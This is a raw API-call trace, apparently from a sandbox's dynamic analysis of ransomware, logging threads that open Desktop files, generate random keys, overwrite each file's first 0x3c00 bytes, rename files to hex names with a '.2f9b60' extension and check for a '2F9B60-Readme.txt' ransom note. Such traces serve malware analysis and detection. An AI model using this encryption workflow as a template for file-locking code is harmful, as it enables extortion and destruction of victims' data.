sprintf (in: _Dest=0x1ced917c, _Format="%c%c" | out: _Dest="a2") returned 2 [0101.927] sprintf (in: _Dest=0x1ced917e, _Format="%c%c" | out: _Dest="6f") returned 2 [0101.927] sprintf (in: _Dest=0x1ced9180, _Format="%c%c" | out: _Dest="b6") returned 2 [0101.927] sprintf (in: _Dest=0x1ced9182, _Format="%c%c" | out: _Dest="1c") returned 2 [0101.927] sprintf (in: _Dest=0x1ced9184, _Format="%c%c" | out: _Dest="6c") returned 2 [0101.927] sprintf (in: _Dest=0x1ced9186, _Format="%c%c" | out: _Dest="41") returned 2 [0101.928] sprintf (in: _Dest=0x1ced9188, _Format="%c%c" | out: _Dest="30") returned 2 [0101.928] sprintf (in: _Dest=0x1ced918a, _Format="%c%c" | out: _Dest="21") returned 2 [0101.928] sprintf (in: _Dest=0x1ced918c, _Format="%c%c" | out: _Dest="0b") returned 2 [0101.928] sprintf (in: _Dest=0x1ced918e, _Format="%c%c" | out: _Dest="af") returned 2 [0101.928] sprintf (in: _Dest=0x1ced9190, _Format="%c%c" | out: _Dest="2e") returned 2 [0101.928] sprintf (in: _Dest=0x1ced9192, _Format="%c%c" | out: _Dest="f5") returned 2 [0101.928] sprintf (in: _Dest=0x1ced9194, _Format="%c%c" | out: _Dest="6e") returned 2 [0101.928] sprintf (in: _Dest=0x1ced9196, _Format="%c%c" | out: _Dest="a6") returned 2 [0101.928] sprintf (in: _Dest=0x1ced9198, _Format="%c%c" | out: _Dest="c3") returned 2 [0101.928] sprintf (in: _Dest=0x1ced919a, _Format="%c%c" | out: _Dest="47") returned 2 [0101.928] sprintf (in: _Dest=0x1ced919c, _Format="%c%c" | out: _Dest="9f") returned 2 [0101.928] sprintf (in: _Dest=0x1ced919e, _Format="%c%c" | out: _Dest="1c") returned 2 [0101.928] sprintf (in: _Dest=0x1ced91a0, _Format="%c%c" | out: _Dest="5b") returned 2 [0101.928] sprintf (in: _Dest=0x1ced91a2, _Format="%c%c" | out: _Dest="77") returned 2 [0101.928] sprintf (in: _Dest=0x1ced91a4, _Format="%c%c" | out: _Dest="8b") returned 2 [0101.928] sprintf (in: _Dest=0x1ced91a6, _Format="%c%c" | out: _Dest="04") returned 2 [0101.928] sprintf (in: _Dest=0x1ced91a8, _Format="%c%c" | out: _Dest="86") returned 2 [0101.928] sprintf (in: _Dest=0x1ced91aa, _Format="%c%c" | out: _Dest="cc") returned 2 [0101.929] sprintf (in: _Dest=0x1ced91ac, _Format="%c%c" | out: _Dest="ae") returned 2 [0101.929] sprintf (in: _Dest=0x1ced91ae, _Format="%c%c" | out: _Dest="08") returned 2 [0101.929] sprintf (in: _Dest=0x1ced91b0, _Format="%c%c" | out: _Dest="48") returned 2 [0101.929] sprintf (in: _Dest=0x1ced91b2, _Format="%c%c" | out: _Dest="b3") returned 2 [0101.929] sprintf (in: _Dest=0x1ced91b4, _Format="%c%c" | out: _Dest="c2") returned 2 [0101.929] sprintf (in: _Dest=0x1ced91b6, _Format="%c%c" | out: _Dest="5f") returned 2 [0101.929] sprintf (in: _Dest=0x1ced91b8, _Format="%c%c" | out: _Dest="bd") returned 2 [0101.929] sprintf (in: _Dest=0x1ced91ba, _Format="%c%c" | out: _Dest="27") returned 2 [0101.929] RtlInitAnsiString (in: DestinationString=0x2226fda8, SourceString="645c97c332bd0a5d1c558f8d0928a26fb61c6c4130210baf2ef56ea6c3479f1c5b778b0486ccae0848b3c25fbd27" | out: DestinationString="645c97c332bd0a5d1c558f8d0928a26fb61c6c4130210baf2ef56ea6c3479f1c5b778b0486ccae0848b3c25fbd27") [0101.929] RtlAnsiStringToUnicodeString (in: DestinationString=0x2226fd78, SourceString="645c97c332bd0a5d1c558f8d0928a26fb61c6c4130210baf2ef56ea6c3479f1c5b778b0486ccae0848b3c25fbd27", AllocateDestinationString=1 | out: DestinationString="645c97c332bd0a5d1c558f8d0928a26fb61c6c4130210baf2ef56ea6c3479f1c5b778b0486ccae0848b3c25fbd27") returned 0x0 [0101.929] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xba) returned 0x119580 [0101.930] wcscat (in: _Dest=0x202b1eb0, _Source="645c97c332bd0a5d1c558f8" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\645c97c332bd0a5d1c558f8") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\645c97c332bd0a5d1c558f8" [0101.930] wcscat (in: _Dest=0x202b1eb0, _Source=".2f9b60" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\645c97c332bd0a5d1c558f8.2f9b60") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\645c97c332bd0a5d1c558f8.2f9b60" [0101.930] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\645c97c332bd0a5d1c558f8.2f9b60", NtPathName=0x2226fd50, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\645c97c332bd0a5d1c558f8.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0101.930] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa8) returned 0x2050bc10 [0108.954] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050bc10) returned 1 [0108.954] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42051690) returned 1 [0108.954] NtQueryInformationFile (in: FileHandle=0x14d8, IoStatusBlock=0x2226fdb8, FileInformation=0x2226fdc8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2226fdb8, FileInformation=0x2226fdc8) returned 0x0 [0108.954] NtSetInformationFile (FileHandle=0x14d8, IoStatusBlock=0x2226fdb8, FileInformation=0x2226fdc8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0108.965] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202b1eb0) returned 1 [0108.965] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x119580) returned 1 [0108.965] FlushFileBuffers (hFile=0x14d8) returned 1 [0108.978] CloseHandle (hObject=0x14d8) returned 1 [0108.979] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x72) returned 0x1b869cc0 [0108.979] wcscpy (in: _Dest=0x1b869cc0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" [0108.979] wcscat (in: _Dest=0x1b869cc0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2F9B60-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2F9B60-Readme.txt" [0108.979] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2F9B60-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\2f9b60-readme.txt")) returned 0x20 [0108.979] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869cc0) returned 1 [0108.979] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b784250) returned 1 Thread: id = 791 os_tid = 0x1340 [0098.891] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\N_Q2ss.ppt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\n_q2ss.ppt")) returned 0x20 [0098.891] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\N_Q2ss.ppt", dwFileAttributes=0x20) returned 1 [0098.891] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\N_Q2ss.ppt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\n_q2ss.ppt"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x14dc [0098.892] GetFileSizeEx (in: hFile=0x14dc, lpFileSize=0x2278fa60 | out: lpFileSize=0x2278fa60*=30753) returned 1 [0098.892] SetFilePointerEx (in: hFile=0x14dc, liDistanceToMove=0x781d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.892] ReadFile (in: hFile=0x14dc, lpBuffer=0x2278f9e0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2278fa28, lpOverlapped=0x0 | out: lpBuffer=0x2278f9e0*, lpNumberOfBytesRead=0x2278fa28*=0x4, lpOverlapped=0x0) returned 1 [0098.893] SetFilePointerEx (in: hFile=0x14dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.893] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260fe0 [0098.893] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261070 [0098.893] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202610a0 [0098.893] NtQuerySystemTime (in: CurrentTime=0x2278f920 | out: CurrentTime=0x2278f920*=132462177044182000) returned 0x0 [0098.893] RtlRandomEx (in: Seed=0x2278f910 | out: Seed=0x2278f910) returned 0x488b52ad [0098.893] RtlRandomEx (in: Seed=0x2278f910 | out: Seed=0x2278f910) returned 0x3fac07d0 [0098.893] RtlRandomEx (in: Seed=0x2278f910 | out: Seed=0x2278f910) returned 0x5566cc1d [0098.893] RtlRandomEx (in: Seed=0x2278f910 | out: Seed=0x2278f910) returned 0x1ea48113 [0098.893] RtlRandomEx (in: Seed=0x2278f910 | out: Seed=0x2278f910) returned 0x6173c21d [0098.893] RtlRandomEx (in: Seed=0x2278f910 | out: Seed=0x2278f910) returned 0x2e806b8b [0098.893] RtlRandomEx (in: Seed=0x2278f910 | out: Seed=0x2278f910) returned 0x76fc729d [0098.893] RtlRandomEx (in: Seed=0x2278f910 | out: Seed=0x2278f910) returned 0x4388c2e9 [0098.893] RtlRandomEx (in: Seed=0x2278f910 | out: Seed=0x2278f910) returned 0x1b71f948 [0098.893] RtlRandomEx (in: Seed=0x2278f910 | out: Seed=0x2278f910) returned 0x40bb3fd6 [0098.893] RtlRandomEx (in: Seed=0x2278f910 | out: Seed=0x2278f910) returned 0x5d73ab09 [0098.894] RtlRandomEx (in: Seed=0x2278f910 | out: Seed=0x2278f910) returned 0x20a955ae [0098.894] RtlRandomEx (in: Seed=0x2278f910 | out: Seed=0x2278f910) returned 0x72d582ae [0098.894] RtlRandomEx (in: Seed=0x2278f910 | out: Seed=0x2278f910) returned 0x31e68a08 [0098.894] RtlRandomEx (in: Seed=0x2278f910 | out: Seed=0x2278f910) returned 0x3dd37e6e [0098.894] RtlRandomEx (in: Seed=0x2278f910 | out: Seed=0x2278f910) returned 0x627b1f17 [0098.894] RtlRandomEx (in: Seed=0x2278f910 | out: Seed=0x2278f910) returned 0x18a672ad [0098.894] RtlRandomEx (in: Seed=0x2278f910 | out: Seed=0x2278f910) returned 0x701b3e80 [0098.894] RtlRandomEx (in: Seed=0x2278f910 | out: Seed=0x2278f910) returned 0x514f6c8f [0098.894] RtlRandomEx (in: Seed=0x2278f910 | out: Seed=0x2278f910) returned 0x19d200b5 [0098.894] RtlRandomEx (in: Seed=0x2278f910 | out: Seed=0x2278f910) returned 0x1b7c9444 [0098.894] RtlRandomEx (in: Seed=0x2278f910 | out: Seed=0x2278f910) returned 0x25ccd771 [0098.894] RtlRandomEx (in: Seed=0x2278f910 | out: Seed=0x2278f910) returned 0x444bef96 [0098.894] RtlRandomEx (in: Seed=0x2278f910 | out: Seed=0x2278f910) returned 0x688569c5 [0098.894] RtlRandomEx (in: Seed=0x2278f910 | out: Seed=0x2278f910) returned 0x5c16acac [0098.894] RtlRandomEx (in: Seed=0x2278f910 | out: Seed=0x2278f910) returned 0x486a5daa [0098.894] RtlRandomEx (in: Seed=0x2278f910 | out: Seed=0x2278f910) returned 0x7f607fc0 [0098.894] RtlRandomEx (in: Seed=0x2278f910 | out: Seed=0x2278f910) returned 0x56ab43f8 [0098.894] RtlRandomEx (in: Seed=0x2278f910 | out: Seed=0x2278f910) returned 0x577f1f48 [0098.894] RtlRandomEx (in: Seed=0x2278f910 | out: Seed=0x2278f910) returned 0x59650735 [0098.894] RtlRandomEx (in: Seed=0x2278f910 | out: Seed=0x2278f910) returned 0x4a4eb866 [0098.894] RtlRandomEx (in: Seed=0x2278f910 | out: Seed=0x2278f910) returned 0x54f6067e [0098.904] SetFilePointerEx (in: hFile=0x14dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.904] ReadFile (in: hFile=0x14dc, lpBuffer=0x20239560, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2278f980, lpOverlapped=0x0 | out: lpBuffer=0x20239560*, lpNumberOfBytesRead=0x2278f980*=0x3c00, lpOverlapped=0x0) returned 1 [0098.905] SetFilePointerEx (in: hFile=0x14dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.905] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97300 [0098.905] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8665c0 [0098.905] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260fe0 [0098.905] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260fe0) returned 1 [0098.905] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x2023d170 [0098.905] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260fe0 [0098.905] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202610a0 [0098.905] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202610a0) returned 1 [0098.905] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8665c0) returned 1 [0098.905] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97300) returned 1 [0098.905] WriteFile (in: hFile=0x14dc, lpBuffer=0x2023d170*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2278f980, lpOverlapped=0x0 | out: lpBuffer=0x2023d170*, lpNumberOfBytesWritten=0x2278f980*=0x3c00, lpOverlapped=0x0) returned 1 [0100.525] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2023d170) returned 1 [0100.525] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20239560) returned 1 [0100.525] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x22) returned 0x20263b60 [0100.927] SetFilePointerEx (in: hFile=0x14dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0100.927] WriteFile (in: hFile=0x14dc, lpBuffer=0x169910*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x2278fa30, lpOverlapped=0x0 | out: lpBuffer=0x169910*, lpNumberOfBytesWritten=0x2278fa30*=0x106, lpOverlapped=0x0) returned 1 [0101.936] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97fd0 [0101.936] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869a40 [0101.936] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260ec0 [0101.936] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260ec0) returned 1 [0101.936] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x1b82d000 [0101.936] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260ec0 [0101.937] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260e90 [0101.937] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260e90) returned 1 [0101.937] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869a40) returned 1 [0101.937] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97fd0) returned 1 [0101.937] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x29) returned 0x1cd9f130 [0101.937] sprintf (in: _Dest=0x1cd9f130, _Format="%c%c" | out: _Dest="09") returned 2 [0101.937] sprintf (in: _Dest=0x1cd9f132, _Format="%c%c" | out: _Dest="eb") returned 2 [0101.937] sprintf (in: _Dest=0x1cd9f134, _Format="%c%c" | out: _Dest="39") returned 2 [0101.937] sprintf (in: _Dest=0x1cd9f136, _Format="%c%c" | out: _Dest="43") returned 2 [0101.937] sprintf (in: _Dest=0x1cd9f138, _Format="%c%c" | out: _Dest="51") returned 2 [0101.937] sprintf (in: _Dest=0x1cd9f13a, _Format="%c%c" | out: _Dest="ae") returned 2 [0101.937] sprintf (in: _Dest=0x1cd9f13c, _Format="%c%c" | out: _Dest="26") returned 2 [0101.937] sprintf (in: _Dest=0x1cd9f13e, _Format="%c%c" | out: _Dest="40") returned 2 [0101.937] sprintf (in: _Dest=0x1cd9f140, _Format="%c%c" | out: _Dest="18") returned 2 [0101.937] sprintf (in: _Dest=0x1cd9f142, _Format="%c%c" | out: _Dest="ca") returned 2 [0101.937] sprintf (in: _Dest=0x1cd9f144, _Format="%c%c" | out: _Dest="9d") returned 2 [0101.937] sprintf (in: _Dest=0x1cd9f146, _Format="%c%c" | out: _Dest="2b") returned 2 [0101.937] sprintf (in: _Dest=0x1cd9f148, _Format="%c%c" | out: _Dest="f3") returned 2 [0101.938] sprintf (in: _Dest=0x1cd9f14a, _Format="%c%c" | out: _Dest="da") returned 2 [0101.938] sprintf (in: _Dest=0x1cd9f14c, _Format="%c%c" | out: _Dest="32") returned 2 [0101.938] sprintf (in: _Dest=0x1cd9f14e, _Format="%c%c" | out: _Dest="28") returned 2 [0101.938] sprintf (in: _Dest=0x1cd9f150, _Format="%c%c" | out: _Dest="56") returned 2 [0101.938] sprintf (in: _Dest=0x1cd9f152, _Format="%c%c" | out: _Dest="5a") returned 2 [0101.938] sprintf (in: _Dest=0x1cd9f154, _Format="%c%c" | out: _Dest="d0") returned 2 [0101.938] sprintf (in: _Dest=0x1cd9f156, _Format="%c%c" | out: _Dest="bc") returned 2 [0101.938] RtlInitAnsiString (in: DestinationString=0x2278faa8, SourceString="09eb394351ae264018ca9d2bf3da3228565ad0bc" | out: DestinationString="09eb394351ae264018ca9d2bf3da3228565ad0bc") [0101.938] RtlAnsiStringToUnicodeString (in: DestinationString=0x2278fa78, SourceString="09eb394351ae264018ca9d2bf3da3228565ad0bc", AllocateDestinationString=1 | out: DestinationString="09eb394351ae264018ca9d2bf3da3228565ad0bc") returned 0x0 [0101.938] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x52) returned 0x1cd9c550 [0101.938] wcscat (in: _Dest=0x1b869a40, _Source="09eb394351" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\09eb394351") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\09eb394351" [0101.938] wcscat (in: _Dest=0x1b869a40, _Source=".2f9b60" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\09eb394351.2f9b60") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\09eb394351.2f9b60" [0101.938] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\09eb394351.2f9b60", NtPathName=0x2278fa50, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\09eb394351.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0101.938] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x4205c150 [0108.972] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205c150) returned 1 [0108.972] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420502e0) returned 1 [0108.972] NtQueryInformationFile (in: FileHandle=0x14dc, IoStatusBlock=0x2278fab8, FileInformation=0x2278fac8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2278fab8, FileInformation=0x2278fac8) returned 0x0 [0108.972] NtSetInformationFile (FileHandle=0x14dc, IoStatusBlock=0x2278fab8, FileInformation=0x2278fac8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0108.986] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869a40) returned 1 [0108.986] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9c550) returned 1 [0108.986] FlushFileBuffers (hFile=0x14dc) returned 1 [0108.996] CloseHandle (hObject=0x14dc) returned 1 [0108.997] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x72) returned 0x1b869a40 [0108.997] wcscpy (in: _Dest=0x1b869a40, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" [0108.997] wcscat (in: _Dest=0x1b869a40, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2F9B60-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2F9B60-Readme.txt" [0108.998] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2F9B60-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\2f9b60-readme.txt")) returned 0x20 [0108.998] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869a40) returned 1 [0108.998] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b864370) returned 1 Thread: id = 792 os_tid = 0x1344 [0098.907] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\P7chKgny.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\p7chkgny.jpg")) returned 0x20 [0098.907] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\P7chKgny.jpg", dwFileAttributes=0x20) returned 1 [0098.907] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\P7chKgny.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\p7chkgny.jpg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x14e0 [0098.907] GetFileSizeEx (in: hFile=0x14e0, lpFileSize=0x222efb20 | out: lpFileSize=0x222efb20*=69007) returned 1 [0098.907] SetFilePointerEx (in: hFile=0x14e0, liDistanceToMove=0x10d8b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.907] ReadFile (in: hFile=0x14e0, lpBuffer=0x222efaa0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x222efae8, lpOverlapped=0x0 | out: lpBuffer=0x222efaa0*, lpNumberOfBytesRead=0x222efae8*=0x4, lpOverlapped=0x0) returned 1 [0098.908] SetFilePointerEx (in: hFile=0x14e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.908] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202610a0 [0098.909] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261130 [0098.909] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261160 [0098.909] NtQuerySystemTime (in: CurrentTime=0x222ef9e0 | out: CurrentTime=0x222ef9e0*=132462177044338000) returned 0x0 [0098.909] RtlRandomEx (in: Seed=0x222ef9d0 | out: Seed=0x222ef9d0) returned 0x58642403 [0098.909] RtlRandomEx (in: Seed=0x222ef9d0 | out: Seed=0x222ef9d0) returned 0x30c20ab7 [0098.909] RtlRandomEx (in: Seed=0x222ef9d0 | out: Seed=0x222ef9d0) returned 0x5b3fdd66 [0098.909] RtlRandomEx (in: Seed=0x222ef9d0 | out: Seed=0x222ef9d0) returned 0x11fc78b0 [0098.909] RtlRandomEx (in: Seed=0x222ef9d0 | out: Seed=0x222ef9d0) returned 0x131cf2c3 [0098.909] RtlRandomEx (in: Seed=0x222ef9d0 | out: Seed=0x222ef9d0) returned 0x41e29cc1 [0098.909] RtlRandomEx (in: Seed=0x222ef9d0 | out: Seed=0x222ef9d0) returned 0x36cb7d29 [0098.909] RtlRandomEx (in: Seed=0x222ef9d0 | out: Seed=0x222ef9d0) returned 0x5c56ffa9 [0098.909] RtlRandomEx (in: Seed=0x222ef9d0 | out: Seed=0x222ef9d0) returned 0x34fff8ae [0098.909] RtlRandomEx (in: Seed=0x222ef9d0 | out: Seed=0x222ef9d0) returned 0x78d4bd3c [0098.909] RtlRandomEx (in: Seed=0x222ef9d0 | out: Seed=0x222ef9d0) returned 0x3b7b9666 [0098.909] RtlRandomEx (in: Seed=0x222ef9d0 | out: Seed=0x222ef9d0) returned 0x35c7cd43 [0098.909] RtlRandomEx (in: Seed=0x222ef9d0 | out: Seed=0x222ef9d0) returned 0x51ee0607 [0098.909] RtlRandomEx (in: Seed=0x222ef9d0 | out: Seed=0x222ef9d0) returned 0x7b47aa4a [0098.909] RtlRandomEx (in: Seed=0x222ef9d0 | out: Seed=0x222ef9d0) returned 0x78edb236 [0098.909] RtlRandomEx (in: Seed=0x222ef9d0 | out: Seed=0x222ef9d0) returned 0x6eae92bf [0098.909] RtlRandomEx (in: Seed=0x222ef9d0 | out: Seed=0x222ef9d0) returned 0x7bd4f590 [0098.909] RtlRandomEx (in: Seed=0x222ef9d0 | out: Seed=0x222ef9d0) returned 0x47beda41 [0098.909] RtlRandomEx (in: Seed=0x222ef9d0 | out: Seed=0x222ef9d0) returned 0x49107582 [0098.909] RtlRandomEx (in: Seed=0x222ef9d0 | out: Seed=0x222ef9d0) returned 0x6ae1820b [0098.909] RtlRandomEx (in: Seed=0x222ef9d0 | out: Seed=0x222ef9d0) returned 0xd3cc80e [0098.909] RtlRandomEx (in: Seed=0x222ef9d0 | out: Seed=0x222ef9d0) returned 0x7494a727 [0098.909] RtlRandomEx (in: Seed=0x222ef9d0 | out: Seed=0x222ef9d0) returned 0x3e4c31b4 [0098.909] RtlRandomEx (in: Seed=0x222ef9d0 | out: Seed=0x222ef9d0) returned 0x511ae47b [0098.909] RtlRandomEx (in: Seed=0x222ef9d0 | out: Seed=0x222ef9d0) returned 0x58c8be63 [0098.909] RtlRandomEx (in: Seed=0x222ef9d0 | out: Seed=0x222ef9d0) returned 0x74856981 [0098.909] RtlRandomEx (in: Seed=0x222ef9d0 | out: Seed=0x222ef9d0) returned 0xfeb58c2 [0098.910] RtlRandomEx (in: Seed=0x222ef9d0 | out: Seed=0x222ef9d0) returned 0x7a7378ba [0098.910] RtlRandomEx (in: Seed=0x222ef9d0 | out: Seed=0x222ef9d0) returned 0x28eadd63 [0098.910] RtlRandomEx (in: Seed=0x222ef9d0 | out: Seed=0x222ef9d0) returned 0x2b243423 [0098.910] RtlRandomEx (in: Seed=0x222ef9d0 | out: Seed=0x222ef9d0) returned 0x36e57dfd [0098.910] RtlRandomEx (in: Seed=0x222ef9d0 | out: Seed=0x222ef9d0) returned 0x6e9033c0 [0098.918] SetFilePointerEx (in: hFile=0x14e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.918] ReadFile (in: hFile=0x14e0, lpBuffer=0x20240d80, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x222efa40, lpOverlapped=0x0 | out: lpBuffer=0x20240d80*, lpNumberOfBytesRead=0x222efa40*=0x3c00, lpOverlapped=0x0) returned 1 [0098.918] SetFilePointerEx (in: hFile=0x14e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.919] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97300 [0098.919] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8665c0 [0098.919] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202610a0 [0098.919] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202610a0) returned 1 [0098.919] 